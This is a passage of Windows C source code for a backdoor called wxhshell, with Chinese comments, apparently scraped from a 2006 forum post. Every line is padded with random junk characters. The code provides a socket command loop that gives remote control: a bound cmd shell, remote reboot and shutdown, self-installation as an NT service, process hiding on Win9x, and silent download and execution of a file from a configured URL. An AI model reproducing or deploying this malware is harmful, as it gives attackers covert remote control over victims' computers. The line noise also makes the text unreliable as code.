  } b9T6JS j  
  else { DYIp2-K  
hz<TjWXv'  
    switch(cmd[0]) { ;P8% yf  
  Tw*p^rU  
  // 帮助 *$;Zk!sEF  
  case '?': { %2\Pe 2Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K/}x'*=  
    break; `Z{s,!z  
  } z_KCG2=5  
  // 安装 DMp@B]>  
  case 'i': { \4<|QE  
    if(Install()) rp1+K4]P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >X iT[Ru  
    else 2w+4B4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s?9Y3]&+&M  
    break; 8gt*`]I  
    } Bzt:9hr6BO  
  // 卸载 MwQt/Qv=  
  case 'r': { *D[yA  
    if(Uninstall()) 8*B+@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DaGny0|BB  
    else _.]mES|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pAA)?/&oKV  
    break; ]WcN6|b+  
    } KC(z TY  
  // 显示 wxhshell 所在路径 .EjR<UU  
  case 'p': { )^6Os2  
    char svExeFile[MAX_PATH]; {;u+?uY  
    strcpy(svExeFile,"\n\r"); (w(k*b/  
      strcat(svExeFile,ExeFile); fsnZHL}=n  
        send(wsh,svExeFile,strlen(svExeFile),0); J 48$l(l3  
    break;  [Ne'2z  
    } ]Z=al`-  
  // 重启 v7#|%  
  case 'b': { G7-k ,P^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %" l;  
    if(Boot(REBOOT)) o#z$LT1dY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)"lCIf  
    else { W|0))5a  
    closesocket(wsh); i!RYrae  
    ExitThread(0); GGhk`z  
    } S^EAE]  
    break; ` ` Yk  
    } eq&QWxiD*  
  // 关机 @}{uibLD\  
  case 'd': { .O#7X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w?N>3`Jnf  
    if(Boot(SHUTDOWN)) ,PJC FQMR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4:]gx#cr  
    else { +IjBeQ?  
    closesocket(wsh); M ]O4  
    ExitThread(0); Q uw|KL  
    } Vwjic2lGI  
    break; :mf&,?  
    } BxQ,T@  
  // 获取shell \>n[x; $  
  case 's': { 3qH1\  
    CmdShell(wsh); O1DUBRli!q  
    closesocket(wsh); yxf #@Je"  
    ExitThread(0); )z4eRs F|  
    break; 4UzXTsjM7  
  } E:A!tu$B  
  // 退出 f:~$x  
  case 'x': { }?+tX<j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \M0's&1(  
    CloseIt(wsh); 7(^F@,,@  
    break; kr |k \  
    } 1^tX:qR  
  // 离开 yA_ly <  
  case 'q': { V+l7W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y; <}`  
    closesocket(wsh); '<1Cta`  
    WSACleanup(); Zp<#( OIu  
    exit(1); Q0x?OL]A  
    break; dIhfp7|  
        } F`{O  
  } M_r[wYt!  
  } B8.}9  
u5KAwMw%Q  
  // 提示信息 Iij$ce`nx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O2="'w'kR  
} :7dc;WdM  
  } '}bmDb*  
&1`Y&x:p  
  return; $}z/BV1I  
} hH%fWB2(  
p1 HbD`ST  
// shell模块句柄 F8Mf,jnPs  
int CmdShell(SOCKET sock) #qD[dC$[t  
{ FS!)KxC/-  
STARTUPINFO si; gm!sLZ!X  
ZeroMemory(&si,sizeof(si)); 8.I3%u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /_Ku:?{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }Ujgd2(U  
PROCESS_INFORMATION ProcessInfo; ('\sUZ+5  
char cmdline[]="cmd"; |R!ozlL{}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b7T;6\[m  
  return 0; #)[.Xz:U  
} y*US^HJOZ  
<63TN`B  
// 自身启动模式 aD_7^8>  
int StartFromService(void) a1%}Ee  
{ 8IBr#+0  
typedef struct } _^ vvu  
{ 3#>%_@<  
  DWORD ExitStatus; Qc PU{#6  
  DWORD PebBaseAddress; :2C <;o  
  DWORD AffinityMask; >Q[ Z{  
  DWORD BasePriority; SB.=x  
  ULONG UniqueProcessId; }Ya! [tX  
  ULONG InheritedFromUniqueProcessId; Ld/6{w4ir  
}   PROCESS_BASIC_INFORMATION; imAOYEH7}  
&}pF6eIar  
PROCNTQSIP NtQueryInformationProcess; 0G33hIOS  
4*5e0:O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WXDo`_{R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Lavjmfr2V  
LEOa=(mN\  
  HANDLE             hProcess; qK9A /Mc  
  PROCESS_BASIC_INFORMATION pbi; k%kEW%I yG  
'd&4MA0X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ry xu#]s  
  if(NULL == hInst ) return 0; t imY0fx #  
yx:+Xy*N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y5;afU='  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w9O!L9 6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d"Wuu1tEY  
NuUiW*|`7  
  if (!NtQueryInformationProcess) return 0; A,=> |&*  
1\Pjz Lj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #M+_Lk3  
  if(!hProcess) return 0; .]JIo&>5  
T{"Ur :p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4gNN "  
J]{<Z?%  
  CloseHandle(hProcess); -o{ x ;:4  
[m 6+I9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fqq4Qc)#U&  
if(hProcess==NULL) return 0; Di4GaKa/  
UwF-*(#41  
HMODULE hMod; .QwB7+V4  
char procName[255]; I.T?A9Z  
unsigned long cbNeeded; Md~._@`|K  
mU?~s7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /`DKX }  
37Q8Yf_  
  CloseHandle(hProcess); J:&.[  
CYwV]lq :s  
if(strstr(procName,"services")) return 1; // 以服务启动 +'MO$&6  
Tcc83_Iq  
  return 0; // 注册表启动 BnGoB`n  
} CmBgay  
>P\eHR,{-  
// 主模块 c_M[>#`  
int StartWxhshell(LPSTR lpCmdLine) jWi~Q o+  
{ gTOx|bx  
  SOCKET wsl; m6$&yKQ-=h  
BOOL val=TRUE; DLqH*U  
  int port=0; Vwh ;QJxb  
  struct sockaddr_in door; bDJ!Fc/  
q1x[hv3 pP  
  if(wscfg.ws_autoins) Install(); ~9yK MUf  
g}gGm[1SUo  
port=atoi(lpCmdLine); 7Hgn/b[?b  
KF1iYo>p  
if(port<=0) port=wscfg.ws_port; [)GRP  
d^!k{Qx'  
  WSADATA data; I}0 ?d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?E|=eO"I1  
!X~NL+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7iwck.*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dh [kx  
  door.sin_family = AF_INET; l5&5VC)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fR'!p: ~  
  door.sin_port = htons(port); bn8maYUZ  
|)Dm.)/0)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !t"/w6X1I  
closesocket(wsl); {#,5C H')  
return 1; t&=bW<6  
} rr1'| k "  
.KC V|x;QW  
  if(listen(wsl,2) == INVALID_SOCKET) { ^L)3O|6c  
closesocket(wsl); 9lR6:}L7  
return 1; V;"2=)X  
} KW[y+c u.#  
  Wxhshell(wsl); q0Q[]|L  
  WSACleanup(); "RK"Pn+  
Mog [,{w  
return 0; C,W_0= !e  
A:GqR;;"x>  
} HJ]e%og  
1Td`S1'#yg  
// 以NT服务方式启动 .S#i/A'x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |9]-_a  
{ qK#"uU8B  
DWORD   status = 0; zF[Xem  
  DWORD   specificError = 0xfffffff; ) xa )$u  
24? _k]Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FZ+2{wIV^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W,Q>3y*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RMT9tXe*5  
  serviceStatus.dwWin32ExitCode     = 0; 7sOAaWx  
  serviceStatus.dwServiceSpecificExitCode = 0; rA B=H*|6  
  serviceStatus.dwCheckPoint       = 0; wbKJ:eWgt  
  serviceStatus.dwWaitHint       = 0; stUv!   
xW5`.^5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m?B=?;B9#  
  if (hServiceStatusHandle==0) return; `^hA&/1  
:.XlAQR~b  
status = GetLastError();  ~,&8)1  
  if (status!=NO_ERROR) o4EY2  
{ S|k@D2k=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9ck"JMla  
    serviceStatus.dwCheckPoint       = 0; Dbj?l;'1  
    serviceStatus.dwWaitHint       = 0; (Z?f eUxp  
    serviceStatus.dwWin32ExitCode     = status; nA(" cD[,  
    serviceStatus.dwServiceSpecificExitCode = specificError; /4 pYhJ8S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lqL5V"2Y  
    return;  ArAe=m!u  
  } JvW7h(u7g  
~( XaXu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \EoE/2"<  
  serviceStatus.dwCheckPoint       = 0; B F gxa#De  
  serviceStatus.dwWaitHint       = 0; S}U_uZ$b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y 'X!T8  
} "i/GzD7`n  
hDW_a y4  
// 处理NT服务事件,比如:启动、停止 $#s5y~z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sGtxqnX:J  
{ ?;`GCE  
switch(fdwControl) JcmMbd&B  
{ 36+/MvIT  
case SERVICE_CONTROL_STOP: R(^Sse  
  serviceStatus.dwWin32ExitCode = 0; x/M$_E<G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e4Y+u8gT  
  serviceStatus.dwCheckPoint   = 0; vvxD}p=y  
  serviceStatus.dwWaitHint     = 0; L v/}&'\(  
  { u;rmqo1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RS}_cm0  
  } l{C]0^6>i  
  return; XfVdYmii  
case SERVICE_CONTROL_PAUSE: UMd.=HC L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hN=kU9@knC  
  break; NdLe|L?c  
case SERVICE_CONTROL_CONTINUE: R"O%##Ws  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]f &]E ~i  
  break; K3 BWj33  
case SERVICE_CONTROL_INTERROGATE: ~< UYJc  
  break; tg#jjXV\0p  
}; 1z&"V}y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YQ?hAAJ  
} 2(3Q#3V  
YB7A5  
// 标准应用程序主函数 urx?p^c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UF5_be,D  
{ 5p!{#r6m  
NwYQ6VEA  
// 获取操作系统版本 M\CzV$\y  
OsIsNt=GetOsVer(); FO_}9<s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z5iCQ4C<  
lN5PKsGl  
  // 从命令行安装 leNX5 sX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Q7<;'m  
}[PwA[k'  
  // 下载执行文件 [3-u7Fx!  
if(wscfg.ws_downexe) { .Er+*j;&w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1/:vFX  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6-"tQ,AZ  
} 3Q62H+MC  
s-WZ3g  
if(!OsIsNt) { jJ<&!=  
// 如果时win9x,隐藏进程并且设置为注册表启动 <HRPloVKo  
HideProc(); ,{q#U3  
StartWxhshell(lpCmdLine); 0.R3(O  
} &XCd2  
else Jf7H;ZM<  
  if(StartFromService()) U ^O4HJ  
  // 以服务方式启动 2Q@n a @s  
  StartServiceCtrlDispatcher(DispatchTable); wn_ >Vi1  
else fuA] y4A  
  // 普通方式启动 9x4z m  
  StartWxhshell(lpCmdLine); ivl %%nY'  
$04lL/;  
return 0; A#I&&qZ  
}
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只看该作者 1 发表于: 2006-10-10
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